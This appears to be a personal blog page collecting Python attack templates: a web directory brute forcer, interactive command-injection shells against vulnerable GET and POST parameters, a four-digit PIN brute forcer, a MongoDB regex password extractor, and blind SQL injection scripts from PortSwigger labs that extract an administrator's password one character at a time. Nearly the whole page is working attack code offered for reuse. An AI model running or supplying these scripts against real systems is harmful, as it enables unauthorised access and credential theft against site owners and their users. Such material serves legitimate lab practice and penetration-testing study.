Python Snippets

2 minute read

Collection of basic Python code templates I’ve developed and/or used on various occasions.

Basic directory brute force


import requests
import sys

if len(sys.argv) != 3:
    sys.exit("usage: python %s <url> <wordlist>" % sys.argv[0])

url = sys.argv[1]
wordlist = sys.argv[2]

if url.endswith("/"):
    pass
else:
    url = url+"/"

words = [line.strip('\n') for line in open(wordlist)]

for w in words:
    try:
        response = requests.get(url+w)
        if response.status_code == 200:
            print "[+] " + url+w + " 200 OK"
        if response.status_code == 403:
            print "[-] " + url+w + " 403 FORBIDDEN"
    except KeyboardInterrupt:
        sys.exit(0)


Basic command-line prompt for vulnerable GET parameter


The BeautifulSoup and Regular Expression modules can be used with to eliminate the output we don’t need from the response.

import requests

while True:
    cmd=raw_input("> ")
    r = requests.get("http://target.com/vuln.php?vulnparam="+cmd)
    print r.content


Basic command-line prompt for vulnerable POST parameter


import requests
import os
from bs4 import BeautifulSoup
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

url = ""
while True:
    cmd = raw_input("> ")
    r = requests.post(url, data={...})
    soup = BeautifulSoup(r.text, 'html.parser')
    out = soup.find('div')
    print out

Improved command-line prompt


The BeautifulSoup and Regular Expression modules can be used with to eliminate the output we don’t need from the response.

import requests
import sys

from requests.packages.urllib3.exceptions import InsecureRequestWarning 
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

http_proxy  = "http://127.0.0.1:8080"
proxy = { 
              "http"  : http_proxy, 
            }
cookies = {
        'PHPSESSID':'dnjcndc...'
        }

class Exploit(object):
    def __init__(self):
        self.url = "http(s)://target.com/vuln.php"
    
   def makeRequest(self, cmd):
       requests.post(self.url, cookies=cookies, verify=False, data={'hidden_vulnparam': cmd}, proxies=proxy)
       
   def runCmd(self, cmd):
       self.makeRequest(cmd)
    
out = Exploit()
while True:
    cmd = raw_input("> ")
    out.runCmd(cmd)  


PIN brute force


from pwn import *
import itertools 

host = ''
port = 
numbers = '0123456789'
n = ''

for i in itertools.product(numbers, repeat=4):
    pin = n+''.join(i)
    p = remote(host,port)
    p.recvuntil(": ")
    p.sendline(pin)
    print pin
    out = p.recv()
    if "Access Denied" not in out:
        print "[+] Cracked -> " + pin


Mongodb brute force


Minor modification to the PayloadsAllTheThings NoSQL blind brute force script.

import requests
import urllib3
import string
import urllib
import sys
urllib3.disable_warnings()


username = "admin"
password = ""
url = ""

print("[+] User: %s" % (username))
while True:
    for c in string.printable:
        if c not in ['*','+','?','|', '#', '.', '$']:
            payload = {'username[$eq]':'%s' %(username), 'password[$regex]': '^%s' %(password + c), 'login' : 'login' }
            req = requests.post(url, data=payload, verify=False, allow_redirects=False)
            if req.status_code == 302:
                print("[+] Found one more character: %s" % (password + c))
                password += c


Conditional Response blind SQLi


Script I wrote for a lab in the PortSwigger Web Security Academy.

import sys
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

url = sys.argv[1]
password = ""
wordlist = "/root/PortSwigger/scripts/letters.txt"

x = range(1,7)
for i in x:
    letters = open(wordlist, "r")
    for l in letters.readlines():
        letter = l.strip()
        cookies = {'TrackingId':'xyz\' UNION SELECT \'a\' FROM users WHERE Username = \'administrator\' and SUBSTRING(Password, %s, 1) = \'%s\'--'% (i,password+letter)} 
        out = requests.get(url, cookies=cookies).text
        if "Welcome back!" in out:
            print "[+] Found char: %s" % password+letter


Error based blind SQLi


Script I wrote for a lab in the PortSwigger Web Security Academy.

import sys
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

url = sys.argv[1]
password = ""
wordlist = "/root/PortSwigger/scripts/letters.txt"

x = range(1,7)
for i in x:
    letters=open(wordlist,"r")
    for l in letters.readlines():
        letter = l.strip()
        cookies={'TrackingId':'\'+UNION+SELECT+CASE+WHEN+(username=\'administrator\'+AND+substr(password,%s,1)=\'%s\')+THEN+to_char(1/0)+ELSE+NULL+END+FROM+users--' % (i,password+letter)} 
        out = requests.get(url,cookies=cookies)
        if out.status_code == 500:
            print "[+] Found char: %s" % password+letter